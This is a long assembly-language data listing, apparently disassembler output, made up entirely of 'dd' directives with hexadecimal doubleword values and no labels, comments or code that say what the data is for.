		dd 2620FEFCh, 329F6A0h,	1A9EB028h, 0F6C4EBB9h, 5BEF4848h
		dd 0E8B6F400h, 940E12A0h, 3531038Bh, 0C54036B0h, 0C803A07Ch
		dd 590F9EECh, 3D4E80CAh, 0DDF88Dh, 6DC78051h, 0BF371E90h
		dd 0E206EE03h, 1F6B1D6h, 61645D58h, 283AF1D5h, 0BD740348h
		dd 0F74321h, 0C64D1B20h, 54C76922h, 8FB83A00h, 3347D89Dh
		dd 15CE1E48h, 0DC5AC1ECh, 34B3E17Bh, 2C01C8E0h,	0F6029114h
		dd 83E8DFD1h, 93840166h, 28682B4Fh, 9801E00Fh, 40885Dh
		dd 12865E39h, 3A7E1C90h, 6A247011h, 8341049Ah, 73D4C310h
		dd 9C2D9E2h, 58E0F0CBh,	0B9C053A1h, 20B9BEC1h, 1CD674BFh
		dd 4006D857h, 91084AB7h, 0D9E2C668h, 1C760702h,	0E0F9B12Dh
		dd 3E49B083h, 8600F1DEh, 0C258AB65h, 5E0A4B09h,	1CC90F0Ch
		dd 6B18D326h, 0B6BF68h,	0A75307B9h, 9072379Bh, 384A0A13h
		dd 868CEB00h, 63367791h, 0C5228869h, 6301400Eh,	580FE7A7h
		dd 848B5262h, 0E01D787Ch, 0C73EEBB0h, 0AFD30098h, 153B1E4Ch
		dd 80623BDAh, 0CBD68580h, 0B2EE240h, 8B17900h, 7F60E1DEh
		dd 8AAD009Dh, 0AA7DB443h, 0B000B8A6h, 936D8485h, 4E495Dh
		dd 0E3C944C4h, 0AC99B2DDh, 0B0424260h, 656A8Bh,	5C7EB3D0h
		dd 1D63A6E5h, 4E119200h, 466F98B6h, 0EFAEAA3h, 0EB10554Ah
		dd 8C29DEE0h, 13070D5Dh, 8AE99C11h, 0AC2882A0h,	20C8A83Ch
		dd 5F971875h, 0C78848BFh, 48084666h, 70070021h,	24FF8C97h
		dd 0E100AD28h, 10E44F01h, 0CB0C09h, 2E878F30h, 0B9B27640h
		dd 0E46498A8h, 0F1CC705h, 0E80CA6EBh, 0C0980813h, 0C7234B21h
		dd 0A30A04ABh, 48068A18h, 97DC3900h, 401C2CDh, 87429295h
		dd 6924802Ah, 58785B7Dh, 1CA3C083h, 90A01F9h, 23D6831h
		dd 0B5089819h, 254621h,	0DD916F9h, 46CA85Ah, 7B334C00h
		dd 0D376C3EFh, 818A0F7Fh, 3BC6A005h, 83003985h,	55695C37h
		dd 0F83A90A4h, 0F6FB1BF0h, 35E0308Eh, 18C18F40h, 0EA158433h
		dd 0E4517422h, 6117FECh, 58861C20h, 0E3600848h,	85491621h
		dd 0CEE5002Bh, 0E29D71DBh, 441B511Ch, 10513B66h, 95D460h
		dd 1674C40Eh, 1CE2E3E4h, 407ADCA2h, 0DBF1486Ch,	3F002A59h
		dd 0D8F72BD2h, 690A99h,	0CC6F4272h, 56BB2440h, 0C15EAE05h
		dd 0D48074EAh, 5BB427h,	0FE1DAF4Ch, 3322BDC9h, 323DD800h
		dd 799FB655h, 0C4810078h, 7D31340Ah, 0D8E2A477h, 0F83E4900h
		dd 76F620DCh, 42D10117h, 80E28110h, 89CCE885h, 0DE26E300h
		dd 0BF153A0Fh, 7A283F97h, 572EBC85h, 1A600E1h, 5B0C40E5h
		dd 30F0400h, 16A6EA4Fh,	243700F0h, 0A4C7CF6Eh, 0FC601228h
		dd 202F5708h, 0B29007F1h, 0D07BCDE2h, 323FCAB8h, 0DFED7700h
		dd 0A8049B17h, 21C53026h, 41E66369h, 0BADC5F07h, 0E830E775h
		dd 0B24779h, 0A172991Dh, 0A76BEB3Bh, 93FEEE00h,	1BB83926h
		dd 0B5F840h, 7D503820h,	0F37102F8h, 439218C0h, 0DA0B3Fh
		dd 0CB8C1D79h, 57A174AFh, 26CA6801h, 0FC842A8h,	0A29D3086h
		dd 28008838h, 0A51B20D7h, 33EE12h, 9E1C06BFh, 73A6B22Eh
		dd 8835AF00h, 6E91B5E6h, 0C95401CDh, 0B625CE58h, 3075D187h
		dd 2B2409FBh, 2900A33Eh, 503070E7h, 6CDF030Eh, 65A1FD31h
		dd 4DB7C780h, 6C015Ch, 19EDF533h, 3EDD51FCh, 8674F70h
		dd 85E0E030h, 0DE009EDFh, 0AAD47B5Ch, 1D5DC722h, 0F0D2D939h
		dd 2DDAB028h, 5036A119h, 0A4E4AD10h, 0E2A0340h,	0F5289D6Eh
		dd 0F5419A8h, 0B74F3002h, 8F67C227h, 34FF23F3h,	1E388D7h
		dd 1621009Ah, 7AA7D40Ah, 19185D82h, 765904C8h, 1A9201B3h
		dd 0D4ABCFC1h, 1BEBE4F0h, 0CB75458h, 0B956A943h, 0BBA2011Dh
		dd 97F55587h, 420F706Bh, 3C8F3200h, 0EF07E61Eh,	574D13E7h
		dd 0E0410F70h, 2C4A0556h, 699840F2h, 0CEC40718h, 0DCB5E200h
		dd 2D370164h, 0A813E2EDh, 188CC294h, 50F84E3Ch,	0E9304F53h
		dd 565E40DCh, 14C70102h, 0D86B91C6h, 2F8080C5h,	2D307364h
		dd 80C10983h, 0EFD9F3Eh, 4D44001Dh, 4279B9h, 6501AE35h
		dd 4C6D0BE2h, 2F5A3Ch, 3B2457C4h, 51B3E0h, 5DAFA718h, 641135E5h
		dd 8E62971Eh, 8B533E03h, 99E7F8B8h, 0C6A3F17h, 0FC493400h
		dd 20042C4Eh, 9E8C790Eh, 0C69F400Ah, 90063Dh, 43946510h
		dd 81D71DEEh, 61E09B00h, 0C8F63898h, 15CA0096h,	0EA23D649h
		dd 630082A0h, 3728BA01h, 7910E4Eh, 5693E78Fh, 8C3491DFh
		dd 0F6A7E188h, 243BE9C8h, 607C0700h, 3FACB225h,	0AB1D262Fh
		dd 5B003DBDh, 4E58101Fh, 564808DBh, 0DF590013h,	838E952Dh
		dd 7457B44h, 0EE47AB60h, 34F2F064h, 57A0394h, 78049000h
		dd 0A231E07Fh, 3856003Ah, 12DA4B42h, 9A009C9Fh,	959B5BFFh
		dd 28D18Fh, 38A81980h, 0F8D0D47Eh, 0DC649102h, 40B9C14Fh
		dd 32E806C6h, 0F819F7B7h, 34B0495h, 0A0AC8626h,	0C3B2872Bh
		dd 894BE10h, 0C04584F0h, 0B62CF11Fh, 0B886EA40h, 3920D11h
		dd 0C9731021h, 297305FCh, 208BF244h, 5E428228h,	21148A11h
		dd 1F380848h, 519FBA90h, 0FEEC1112h, 21293C11h,	1D870866h
		dd 1850F094h, 22291393h, 1EDC882Bh, 0B1081489h,	842E1C44h
		dd 500C7B22h, 44C23C38h, 14A34A22h, 0DC22159Ah,	2A4722FCh
		dd 0A427F624h, 80E04816h, 0A5D3799Eh, 41E083C0h, 0A0254700h
		dd 0CBD97871h, 0DC17001Bh, 10263B6Bh, 0C6303A04h, 16652E70h
		dd 9DE4005Fh, 279B7D4Bh, 291C914Ch, 2C1C59D6h, 55DA62C0h
		dd 4FBD04h, 0F0981F4Bh,	0B236991Eh, 7C393000h, 1BD84EC7h
		dd 0BB9A0023h, 3387E0A1h, 0D603D266h, 0EF7FC6E2h, 817688CCh
		dd 0E39B0057h, 0F67B30E6h, 39017CB7h, 992FC59Ch, 0E07A4C19h
		dd 8D007A9Ch, 0B3E8075Bh, 288047h, 0F3F795BFh, 0B1A387Fh
		dd 0B553EB00h, 0E5208546h, 0A60304BAh, 803AC6FBh, 7695B838h
		dd 8BE08200h, 0C827381Eh, 5E660049h, 8C9128F1h,	9A0B95C4h
		dd 71CE15h, 0F62D6CEh, 0D3BC07DAh, 0BE683FC7h, 1B184261h
		dd 281080C6h, 9F82F4E1h, 6E0D4CA4h, 0C126FD00h,	0D636E407h
		dd 807F493Dh, 0CE05D745h, 624DBF8h, 332917C3h, 3522A06Bh
		dd 0A8025057h, 4D7C23h,	6082B06Fh, 6AD1B22Fh, 0EA59DA00h
		dd 2230F377h, 0EF930047h, 4A45FCDDh, 0ED00A50Dh, 9D2FCE06h
		dd 31D3A7h
		dd 29CF5593h, 0C6CB5A5Eh, 4A004B76h, 0C15C33A5h, 5B5126h
		dd 621B4CA2h, 9519C6A1h, 0E44E8003h, 0A0726091h, 1F173781h
		dd 0AB6A74h, 3AED2CB6h,	4C98FF55h, 3586B007h, 9F605873h
		dd 0DF32CEh, 0D9912D5Fh, 885D42Ch, 1F204400h, 0FB0434AAh
		dd 4EF5008Eh, 6F5D3F97h, 0ED784C4Dh, 8D39F200h,	811F9271h
		dd 64961F10h, 0AFE744D5h, 3C0CC087h, 0A9077E5Eh, 2C0A78DDh
		dd 0C1331500h, 0E13E00B6h, 12AD465h, 8D3AE805h,	0D6888034h
		dd 0E91EAED3h, 3C6A00EFh, 0F4E68980h, 1B00C5BDh, 0F1F3476Fh
		dd 14DBCDh, 0DE6D38B8h,	428EE0DFh, 0B04CF20Bh, 0FF478039h
		dd 76CE0458h, 1A730061h, 74026A9Bh, 4B03A1E9h, 0BBD5EF5Ah
		dd 34F8834h, 98682494h,	45FB8030h, 0FE197341h, 0EF70F27Ch
		dd 7470300h, 59DE462Dh,	5D4A0094h, 84BA6111h, 0A22E662Ah
		dd 0B20078CBh, 78B86834h, 0F2900005h, 4D01A8CEh, 88A0B7EDh
		dd 0CD3A1263h, 99238E1Ah, 33E700D5h, 2417FE21h,	7918BF3h
		dd 215A01A3h, 0C975C152h, 84442096h, 0D923C000h, 31CF80F2h
		dd 9FBD0564h, 80AA1B09h, 0A6D83D63h, 7A28EE12h,	0F4074700h
		dd 0FC919Bh, 426065D5h,	0D06D6C2Bh, 271ED00h, 25DA0109h
		dd 8A6200B1h, 3FA2245Ah, 21E35832h, 0DB3420F9h,	8BC65D00h
		dd 40E8EE80h, 229E3A27h, 0DC2E2482h, 4C06385h, 50000DD7h
		dd 7BB7FBFEh, 6965EAh, 0ED918824h, 80AFB2DFh, 252FF01h
		dd 2248196Ch, 7738FCh, 0B0CD90Dh, 28F2DFD7h, 0A046098h
		dd 15167240h, 7A9654C0h, 0BEFE00EFh, 85D3D7DDh,	180012CBh
		dd 0E4FDC3DCh, 13D45F62h, 0BB2003h, 8CD50138h, 0E92C8986h
		dd 0D00A751h, 0A8FA94EFh, 0EB3E1E43h, 0F24B87F6h, 56802F91h
		dd 9FBE1CBAh, 0BB857F01h, 5F79D820h, 0C0F0EA9Ch, 41FD0EFBh
		dd 16009198h, 39BA67DCh, 0DD0DF2h, 0F3C356B5h, 45972FC0h
		dd 8D79E970h, 0BD83AA00h, 875540B0h, 6ED302ABh,	0F48B115Ch
		dd 0E5ED283h, 5784AAA4h, 1E7A0680h, 81AE3731h, 2A50B041h
		dd 603EF58Bh, 85CD00B5h, 7D8C10Bh, 0F70000Ah, 0DA6DF4F6h
		dd 3C00A4CBh, 0CC43E953h, 0D4C306h, 7A5EC47Fh, 16CD37B1h
		dd 0B3C93600h, 19E74E78h, 87FF00C0h, 0AC70FA96h, 0A200C54Dh
		dd 0A014A773h, 7409D4C1h, 68EA00F0h, 8AF4D1BFh,	0C7E6BBEBh
		dd 13E1B4A0h, 12998300h, 6E893B65h, 437C1CA6h, 4B803980h
		dd 5EDF790Ah, 3059D62h,	564EFDE5h, 0E0B61082h, 0CEA343h
		dd 0F67CEC1Ah, 0CC8E5F73h, 0E9257F02h, 40BDA654h, 3DBB8490h
		dd 4C8F143h, 7D02953Fh,	19FECB1Bh, 0C9327448h, 0C54C6D00h
		dd 0DE6C093Bh, 663600DBh, 84B2FAFFh, 4D00F1EDh,	63AD8533h
		dd 98016F5Ch, 1C230718h, 10103880h, 0B2F0261Eh,	7A545D13h
		dd 9E152300h, 35C2D3Dh,	0C9B1B63Ch, 1CE8AE01h, 997D59D5h
		dd 0BF8D9000h, 4C3A0543h, 7820042h, 0E8BEF135h,	1001DB5Ch
		dd 8355B07Ch, 1E8E291h,	587B33h, 0DA89B8FAh, 0FC026C2Ch
		dd 691E7877h, 54C0E977h, 0BE76535Dh, 0B917000Ch, 0D049CA5h
		dd 1F0048DBh, 1A210877h, 0B872C930h, 0B49B00B8h, 0B87E3F02h
		dd 0F0FB181h, 1211FF8Eh, 2FB140Eh, 40084497h, 3DCFDDh
		dd 9FF1F47Ah, 0BE98400Ch, 0B678B2E6h, 0B42A5200h, 58498964h
		dd 3FA07872h, 579E90DEh, 0FAE580FDh, 8481FEDAh,	0BBFE6898h
		dd 0F3705B04h, 43812F7Ah, 98322286h, 1D39D00h, 0CC39252Ch
		dd 0D1CE2F00h, 851ECD52h, 340900D6h, 752277C9h,	701D1886h
		dd 9E407EF0h, 4A79BE8Fh, 1FD9E247h, 57B85Ch, 75DEB3Dh
		dd 0E5018704h, 0F53C14E1h, 8464D780h, 5D6D009Fh, 73E02126h
		dd 6576D691h, 0D1F1402h, 49F12711h, 4B307078h, 0BE431EABh
		dd 677440C6h, 83BABC3Dh, 0B622E90Bh, 0DF028037h, 52DC03h
		dd 85716FCBh, 4817B9F6h, 4A57831Fh, 0FA77A347h,	9A799590h
		dd 0EEB50101h, 0D53B486h, 0DA4AF43Ch, 0BDCDD500h, 12848A51h
		dd 30911CB9h, 0C1E449F4h, 81E930A0h, 62048DECh,	0B8A4635h
		dd 980177A0h, 0EFC32420h, 184C00B5h, 0D995B9E7h, 41008D77h
		dd 9771530Ah, 0FD169Dh,	9386DF12h, 2F490733h, 0B71EEA14h
		dd 1C5800ACh, 66F35392h, 0F95C0F57h, 1900911Dh,	562D12CCh
		dd 0E021C00h, 4CF59F4h,	0CEDD00EBh, 0DC118957h,	227A67D1h
		dd 0ED387909h, 1F360034h, 1318C3E8h, 6C89FBh, 2B11D3F4h
		dd 5B5CF7FCh, 5CA400EEh, 0F18DB418h, 2E5E00E3h,	0FE7E0395h
		dd 7402DDD8h, 13FDC81Eh, 3CDC40A9h, 0CA6339D3h,	0A0795DCh
		dd 2971EE4Ch, 3EBAF480h, 0BD00FEEDh, 0D6214D4Fh, 167B705h
		dd 436AC38Eh, 0EC78FD49h, 350079F9h, 9C550F89h,	63DB15h
		dd 7D745CDEh, 18092D73h, 674F8C07h, 6E86A016h, 5C705CB8h
		dd 832AA380h, 1D16AEEBh, 4006762h, 7A52B540h, 0F0541CA2h
		dd 617E404Ah, 4FB2C285h, 574B624h, 0FB05E15h, 6087671Eh
		dd 5FCDD071h, 0AA3300D9h, 0E66CE242h, 0A70082ABh, 0CAFAFC48h
		dd 4DC2FDh, 0E32CC1B1h,	0D58D26FFh, 3E01D400h, 0D9C9800Ch
		dd 0C23801BBh, 7330FE71h, 9B43C45Bh, 884F7526h,	0DE339C83h
		dd 67DDB808h, 0F261000Dh, 9E95A398h, 8F0345B6h,	0C8E6568Ah
		dd 0E8ECB0AAh, 0BB44CA9h, 0F6A5224h, 0C260659Dh, 7B291AD4h
		dd 4CE24F3Fh, 81BB3988h, 3D439F18h, 6EC22CEh, 11BE008Dh
		dd 5C3F9695h, 9D00EE72h, 271CBF60h, 570397h, 0E5B43324h
		dd 7A67526Ah, 0A8AF0930h, 5CB5387Fh, 0D501BC40h, 0CC3B9097h
		dd 8E0C3442h, 0CC834B2Ch, 340AE500h, 3E2A54h, 0C7DBE9DDh
		dd 11134C6Bh, 0D7B92300h, 72FF05E2h, 223B140Fh,	0FD00906Ah
		dd 0E578A947h, 0D00075D9h, 0E276A777h, 41790AEh, 12F735A4h
		dd 3FCA80FFh, 0F2140755h, 7CA8762Bh, 96A13008h,	0EB9400BAh
		dd 0BF3440B8h, 79E55F00h, 4EE44BABh, 9D190049h,	0DB396530h
		dd 0EC00F420h, 70EC0D8h, 2F77C6h, 0DD9503AAh, 0F28C1DE1h
		dd 0F02233E6h, 4C1303B0h, 50569F51h, 669C5FD0h,	59C5360Eh
		dd 81834720h, 0CEBF3350h, 6D1C00FFh, 0E9630F6h,	2E00DD37h
		dd 61145678h, 14C8EC4h,	0CBA6A084h, 0C46549DAh,	0C800AB10h
		dd 1C78D497h, 981F0194h, 8F75860h, 0FC2D6B01h, 0E77AACE2h
		dd 0E5935AE0h, 7697C715h, 14924CC0h, 9F8173h, 44FD95F0h
		dd 1DC4EEh, 6DD28D43h, 46F5DDBCh, 4BD1D802h, 0C071E4F3h
		dd 9CBC486h, 0AF7E5227h, 0EF1C7F00h, 0E01337Dh,	75C7313Fh
		dd 9C44566h, 78131E3Dh,	5AD500BBh, 8818DA5Bh, 1E45CB5Ch
		dd 0EA804072h, 1674E18Dh, 11140020h, 0DDAC53Fh,	0AC00F9ADh
		dd 0D319CD36h, 30540B1h, 0A2DFC27Ch, 4E83E512h,	0C1609CD2h
		dd 0D105B94Fh, 0CD4B637Fh, 1DA7BC07h, 0D5EC00EBh, 8868F8h
		dd 65C6D90Ch, 0B5F4A369h, 425D0D03h, 0B8582E21h, 7EE86749h
		dd 4698CF5Eh, 8D2AEA40h, 8E092FC5h, 907B3040h, 136A6818h
		dd 415748ABh, 49DB83D4h, 477424EFh, 6C9FD700h, 4FF27751h
		dd 0A5A40293h, 0ECA28CC1h, 0C0A3E469h, 76004E3Bh, 75D56836h
		dd 0F23C138h, 22C91703h, 0ED200B2h, 0A7299941h,	25BE4F2Eh
		dd 27C66D1Eh, 13877CDh,	0A6E7974Eh, 306681D4h, 0B209FED4h
		dd 802F23AEh, 0F16FC70h, 8EB80084h, 0E2E9CF5Ch,	0F20079BCh
		dd 68F6538Ch, 7E35727h,	3C72ED9Dh, 824E3E1Ch, 0D0CE1A80h
		dd 390971D2h, 41D5D6Bh,	92C04B2Ch, 0FD6948h, 0A1ED6F4Ah
		dd 0D583207Ah, 233F1C00h, 55DE3C98h, 0E0760B5Ah, 50206D75h
		dd 49913767h, 0BEC58500h
		dd 0D80C4841h, 10542C65h, 4D5C008Ch, 5138A773h,	8477DC00h
		dd 39277DE3h, 0D71A01CEh, 1D1C0CA6h, 22303053h,	0AD9A20h
		dd 12F2527h, 3E847D88h,	0E828F9E8h, 9C50C441h, 6A5821E6h
		dd 0E0E30018h, 0D7111725h, 0CB5A0012h, 0A9781996h, 437E8622h
		dd 6285CF00h, 303CFA2Dh, 965958DEh, 887B1900h, 7945A6FCh
		dd 1652DB02h, 0E0F69527h, 6BD9D98h, 0B60535A1h,	4C18207Ah
		dd 0CDF4EACCh, 0CEC300D9h, 151DA5DFh, 0EB00294Dh, 147426ECh
		dd 0B0714640h, 97900144h, 5A271D24h, 0FDD1D038h, 0A32559FAh
		dd 0EEF880DEh, 48B917h,	0C489E8F3h, 23362C95h, 0E17FB600h
		dd 0AC46536Dh, 1F9E2FEh, 17A6036Ch, 808531A1h, 235887Ch
		dd 0B57709h, 33299A51h,	40112CC5h, 840E2527h, 0A770D254h
		dd 2B001CD3h, 0F7AFF46Ch, 6883045h, 45C16C8h, 0A802C8CEh
		dd 78724409h, 0E0944070h, 137E02D8h, 0C4C2524h,	904EAE40h
		dd 95019602h, 40E148B4h, 3199920h, 621A4456h, 0C0FFAF8Bh
		dd 58273C55h, 0FA33D600h, 5DCB9CCFh, 210700DBh,	239164B0h
		dd 9B39E86Eh, 3E88BBA4h, 4C12A47Ah, 4750C70Eh, 94A1058Bh
		dd 0B06038B8h, 0B030EA61h, 0E45200BEh, 0AF01224Bh, 0A8E221BAh
		dd 135A48h, 64D57BBCh, 1020976h, 1C45947Dh, 201F6C91h
		dd 9C01D84Ch, 7847A6BCh, 6470C6D3h, 0CB811F1Eh,	23DE801Ah
		dd 0CF9FBDE7h, 0D8F7000h, 7EBB6657h, 2C2896EFh,	0F6998320h
		dd 6D86D29h, 9404FFECh,	924F1E6h, 0D02F0083h, 1FAB5908h
		dd 43F5BEB4h, 88F22BEEh, 44400CFAh, 0F900954Ch,	9284AED4h
		dd 7E462B6h, 8A4F683Ah,	53ADC04Ah, 5BE6EB02h, 0FDB38700h
		dd 0EFA33138h, 956D0022h, 1A8B8B6h, 10288CB5h, 1D49C40Eh
		dd 12EE0800h, 2B940070h, 0F9D58E3Fh, 77D92D60h,	126DE245h
		dd 0C197A5h, 5CAA30A3h,	63B886E1h, 6BCDAC00h, 0FD546611h
		dd 0FFE42489h, 5B00EF4h, 22705380h, 0C2738C1Bh,	9F1C9400h
		dd 439B5D68h, 17774Dh, 3B0340A2h, 8781437h, 3C5AD800h
		dd 0D37DC231h, 982C2402h, 0EE69001Eh, 0F785A4A6h, 3F30A03h
		dd 9170C73Fh, 9F07174h,	0F20D00DFh, 0BDF68E7Eh,	0D9099E5Bh
		dd 80AEC624h, 239B6414h, 0A5840050h, 5D49F54Fh,	0DE00B47Bh
		dd 0FF2D0979h, 0EAA915h, 0EB19E370h, 10373E90h,	0DADFC702h
		dd 85CD6412h, 0BD0113B4h, 0CB8FC0C1h, 15033460h, 0F838E17Ch
		dd 0F00070D4h, 0B0265E7Eh, 0B23FBE29h, 0FD2A07CCh, 82C9EADDh
		dd 25A97D64h, 2700A09Ch, 51B24Ch, 0E652C889h, 9A91A844h
		dd 0BC500168h, 29F4C9C5h, 0A0D057E3h, 0F7EF4C17h, 0EE62C000h
		dd 9BF983EAh, 0BD480791h, 59716121h, 0CB144C80h, 0B6004366h
		dd 65643506h, 70E5A1Bh,	0F31E805Bh, 1475A0FBh, 0C895871h
		dd 9D4F4h, 0D9CCDD24h, 0BA08E2A4h, 80695B38h, 435E562Bh
		dd 34F8D7Dh, 0E434CA3Ch, 0D188F991h, 421680DAh,	50167F23h
		dd 295000EBh, 0C75D3BE1h, 85840400h, 0E8B19E69h, 3C200FAh
		dd 57EE9909h, 3A00EC55h, 0DF2BAEC3h, 2D01B2DCh,	9400DD6Fh
		dd 2A660DC6h, 0CEB9E80Fh, 80BC5423h, 53F745AFh,	80BF00FAh
		dd 0EF9F2C06h, 0A1009A91h, 9C8C87DFh, 0FADAF214h, 1E943C40h
		dd 48CCB73Eh, 5C299700h, 43119FC0h, 0EF87711Dh,	760B49h
		dd 10400A88h, 8A5100E9h, 2A4F982h, 9D0070ADh, 0D3D8F23Eh
		dd 396D361Fh, 0D1005A08h, 8B33B759h, 0EE3C8A8Eh, 0EAA005Fh
		dd 0FFDBEE5h, 245D738Fh, 80BC26A6h, 3C468BA7h, 7A0064F9h
		dd 995095E0h, 481CB016h, 30F88BAh, 9FA0F8DAh, 2F0FD68Ch
		dd 206A2E00h, 0A697C1D2h, 34600169h, 0AECB98F5h, 0ACB2FC1Fh
		dd 0ED0036FCh, 19FC154Dh, 278FF37Fh, 3C00B154h,	0C9C65972h
		dd 7760025Ch, 80D19708h, 0CFF40F41h, 7D1A4882h,	109E70E8h
		dd 7EDD2000h, 1D617CC3h, 6BF100ACh, 36947BBh, 0C4B2E133h
		dd 54A88400h, 6655D6C8h, 0FB12016Eh, 32CFF7E9h,	0CB9074B3h
		dd 10142400h, 7C651E42h, 0F9D90081h, 84E1BB12h,	1B0037ACh
		dd 0B03802ABh, 3C2A68Bh, 145205C5h, 0FDA2A8EAh,	0DA0E5082h
		dd 56022459h, 6034D5E5h, 909DDC3Ch, 0B980186h, 6E9F96E6h
		dd 0E192F4C1h, 54A44Ch,	3D6DD264h, 0F8616B9h, 28A6376Ch
		dd 0B377A0A1h, 0FCA1F0C0h, 9C14E400h, 868D62Ah,	0D9FA0F45h
		dd 19620BE9h, 94407330h, 50E7E543h, 63C1E0ACh, 0A6DF8900h
		dd 8191F26Ah, 95A00065h, 5844BF93h, 36002EB0h, 7CDB52C3h
		dd 175A562h, 5E6ED95Dh,	70690167h, 332442BCh, 70266D20h
		dd 0A096971Bh, 3CA96h, 2E5DC9A3h, 0D89B14D4h, 4FBA5F00h
		dd 594A01F2h, 396AE835h, 8500D392h, 2EE7EE5Dh, 0DC009C4Ch
		dd 0F9E8FF55h, 726D79h,	13424A26h, 49527C14h, 0CE0036FAh
		dd 0E9C16269h, 7092CAAh, 89AE6A4Ch, 0DDD760C3h,	95004F0Fh
		dd 796402BEh, 7E0411h, 4630BD7Fh, 0B4A0ADC4h, 0D028FF54h
		dd 45317707h, 0EF123085h, 0A6A9C01Bh, 0F799090Ah, 53800F3Eh
		dd 10E61856h, 0D5ACE300h, 75047E05h, 3F4E002Ch,	4D50BCFDh
		dd 0E179ED3Ah, 0F002D7Ah, 15DC6872h, 1C7CD8h, 6F3414E3h
		dd 82D93E87h, 0DA65AA00h, 81C7A2C2h, 7B9C0097h,	37890F5Bh
		dd 2700ACF8h, 0D2535835h, 5F4298h, 57E83CC1h, 5A52AB7Dh
		dd 0A00A0FCh, 0B48CEA76h, 0C58AA4h, 584A51Ah, 0B752CF18h
		dd 28B59E06h, 48A80702h, 301D2E6Eh, 83D5C079h, 3A7F776Bh
		dd 80C0DB3Ah, 1A11F410h, 0B5A7C7h, 0E2D615DEh, 31FEBD6Fh
		dd 60224C03h, 1C62922Dh, 608B3E78h, 80052F0h, 0B794C57Dh
		dd 9D2CB2h, 966586CBh, 0F707A749h, 3CE38100h, 87F533E6h
		dd 3F5B00EAh, 8E5ECEBEh, 0D9001653h, 10B54A9Ch,	0F2A90E47h
		dd 217F98h, 124DFDDFh, 0BBC1F35Fh, 8395607h, 6A30B6F6h
		dd 1E9B9A81h, 0C0991185h, 0D44DF41Ch, 6507B913h, 0D3D2CA03h
		dd 3B0A06D1h, 98D7E0h, 1D671E4Ch, 9DD83F8Eh, 65DF3C01h
		dd 0CD265FE6h, 0F89C0C20h, 40CE00A2h, 6AFC2D74h, 9800569Bh
		dd 0B2113EF6h, 0B0314394h, 2BAF008Ch, 4B478758h, 0EA017277h
		dd 0E9C1BFEh, 0D3E837C4h, 574000FCh, 0C634EBF1h, 0DE008C55h
		dd 7F6E6571h, 5D860Eh, 594D5CADh, 83CD7344h, 0A42E8900h
		dd 3459740h, 0C7C80E7Dh, 7EA5C451h, 0F006C764h,	9C3A83A9h
		dd 0A3D53Bh, 4DEFFFE2h,	582CB5D3h, 740760E3h, 0E32053B9h
		dd 81A0AA9Ah, 0D0F0C8C7h, 1DA65100h, 0DF8BD574h, 0B9F90063h
		dd 0AA0CF133h, 98002B31h, 5AAB441Fh, 92BD02h, 0FA772D87h
		dd 3B151959h, 4348E826h, 0B6040D02h, 98ECE079h,	3A7E5C64h
		dd 5E4454h, 15AA5BC2h, 2AE6F369h, 55EDC024h, 2B049100h
		dd 183B9E44h, 11A941E5h, 0D8015533h, 1E9D7FA7h,	0D2F93011h
		dd 7E82E3CCh, 0EDD00D4h, 7A1496DCh, 9C0B1A23h, 80A4D2C5h
		dd 9439E25Dh, 69AFE6Fh,	0BD6C3AE0h, 0B17059C4h,	0F86EC500h
		dd 27A0EFB7h, 590D024Eh, 9B4C2CD9h, 0CFBAF448h,	8000F47Eh
		dd 8A28892Dh, 0C0D77467h, 11DAB178h, 29F09EC4h,	0CC5EAB00h
		dd 2FD94052h, 9D8B003Dh, 0FBA9CDEEh, 0D2C0C631h, 2E74E4CFh
		dd 387CD5h, 0CD30DC6Eh,	90B88B1Bh, 0ABE38002h, 804413F2h
		dd 9E97C3A4h, 527ECEh, 59B65F3Fh, 2D0AB436h, 0BABE620Fh
		dd 6C2F49h, 730FE6D9h, 0E2AA0392h, 89B0854Ah, 0DEA084A3h
		dd 4300EB44h, 0D2EF75BEh, 0F4681Ah, 3B6D5D54h, 0E9AF29B3h
		dd 81481901h, 46BBE65Bh, 0B03DDCh, 820A963Fh, 2E3B0C1Ch
		dd 0A80134B0h, 2AD4991Dh
		dd 0BDFCB6FBh, 3DC20070h, 66EC11EAh, 5898448Eh,	8D09AF00h
		dd 0ACD3B535h, 7F0CE255h, 3B6F7721h, 43802E58h,	71285176h
		dd 3500EB04h, 37271948h, 6CC99Ch, 733A7D3Dh, 0E5658DAh
		dd 0E8D04307h, 12E083D8h, 601681h, 20CB3305h, 662E7FEBh
		dd 7AC92617h, 0CC01C60Ah, 9C170700h, 0FEDB2CFh,	0F0B614D0h
		dd 0A9C74740h, 0B10C74F5h, 0EAA06F5Fh, 10895816h, 29D37900h
		dd 5A644B53h, 6C4DDA00h, 9DAE1431h, 0BD0D00DBh,	9367DD36h
		dd 0AA7C91F9h, 2DE27800h, 3D5C1605h, 0D4730769h, 4090487Bh
		dd 0C78F6636h, 41560F00h, 0CE9D27Ah, 875C00F3h,	29FA8021h
		dd 3B092734h, 866847A9h, 0F2102B63h, 0A6B00B4h,	623C7861h
		dd 6000C7A4h, 0E1BD7268h, 5D14A88h, 47EE6327h, 1C400ABh
		dd 86826229h, 0C8D4B030h, 526E8Dh, 3F2FC883h, 2D67658h
		dd 0F5E0600h, 9270F7F8h, 4D490F61h, 0E940A59Bh,	7D239C72h
		dd 0A8119100h, 619AD5C3h, 0C8480029h, 0D91D104Bh, 9900F2CCh
		dd 5B0C8AFCh, 7AB0E3h, 53675A7h, 0AF22432Ah, 64EC0A07h
		dd 3D5F3E15h, 4153CA40h, 6A62AAh, 0B64A9387h, 34A0728Bh
		dd 4EE20200h, 0F90C3B66h, 0DDE10210h, 0AB5490D9h, 4546B8A5h
		dd 0D650CCh, 8339583h, 0EE54C113h, 160BCAC0h, 0A70B9Dh
		dd 0A1BE84F4h, 339E00F2h, 2D3B18Ah, 0F501D942h,	7DC1609h
		dd 10245790h, 0FFAB0046h, 0C28B77CFh, 651CB53Fh, 78804771h
		dd 58998C34h, 0A3EC0019h, 9A52460Dh, 0E8004A96h, 681EA96Ch
		dd 1FA7E8Ch, 0A5AD8A6Dh, 0DCCB1644h, 312C6AB1h,	2D0E7A7Ah
		dd 767E20D4h, 8A6373h, 7740E4C6h, 0CD6F3767h, 4EB77900h
		dd 60D60ED2h, 14EC3EA8h, 9890D0h, 0A75B70D3h, 748AB526h
		dd 0C848F038h, 8FFC0010h, 0D5D860DEh, 14D6073Dh, 876ED4F7h
		dd 0B6803E59h, 0E8CE1819h, 0E40B7B00h, 0C7CC6ACDh, 3A0802F3h
		dd 0D9BA665Ch, 1FFA4960h, 0DC66503h, 807A6160h,	3E42A98h
